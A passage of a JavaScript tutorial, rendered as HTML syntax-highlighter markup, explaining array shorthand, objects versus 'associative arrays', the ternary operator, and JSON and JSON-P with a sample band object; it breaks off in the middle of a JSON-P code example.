&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;moviesThatNeedBetterWriters = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;new&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;Array(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Transformers&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Transformers2&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Avatar&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Indiana Jones 4&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The shorter version of this is:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_57757&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;moviesThatNeedBetterWriters = [&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Transformers&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Transformers2&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Avatar&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Indiana Jones 4&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The other thing about arrays is that there is no such thing as an  associative array. You will find a lot of code examples that define the  above &lt;code&gt;car&lt;/code&gt; example like so:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_869576&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;car = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;new&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;Array();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;colour&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;red&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;wheels&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] = 4;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;hubcaps&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;spinning&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;age&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] = 4;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This is not Sparta; this is madness—don’t bother with this. “Associative arrays” is a confusing name for objects.&lt;br /&gt;
Another very cool shortcut notation is the ternary notation for conditions. So, instead of the following…&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_88095&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;direction;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(x &amp;lt; 200){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;direction = 1;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;} &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;else&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;direction = -1;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;… You could write a shorter version using the ternary notation:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_69191&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;direction = x &amp;lt; 200 ? 1 : -1;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;code&gt;true&lt;/code&gt; case of the condition is after the question mark, and the other case follows the colon.&lt;br /&gt;
&lt;h3&gt;JSON As A Data Format&lt;/h3&gt;Before I discovered JSON to store data, I did all kinds of crazy  things to put content in a JavaScript-ready format: arrays, strings with  control characters to split, and other abominations. The creation of &lt;a href=&quot;http://json.org/&quot;&gt;JSON&lt;/a&gt;  by Douglas Crockford changed all that. Using JSON, you can store  complex data in a format that is native to JavaScript and doesn&#39;t need  any extra conversion to be used immediately.&lt;br /&gt;
JSON is short for &quot;JavaScript Object Notation&quot; and uses both of the shortcuts we covered earlier.&lt;br /&gt;
So, if I wanted to describe a band, for example, I could do the following:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_350248&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;band = {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;The Red Hot Chili Peppers&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;members&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:[&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Anthony Kiedis&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;role&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;lead vocals&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;},&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Michael &#39;Flea&#39; Balzary&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;role&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;bass guitar, trumpet, backing vocals&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;},&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Chad Smith&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;role&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;drums,percussion&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;},&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;John Frusciante&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;role&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Lead Guitar&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;],&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;year&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;2009&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can use JSON directly in JavaScript and, when wrapped in a  function call, even as a return format of APIs. This is called JSON-P  and is supported by a lot of APIs out there. You can use a data  endpoint, returning JSON-P directly in a script node:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_906298&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div id=&quot;&amp;lt;/code&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;delicious&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;script&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;delicious(o){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;out = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
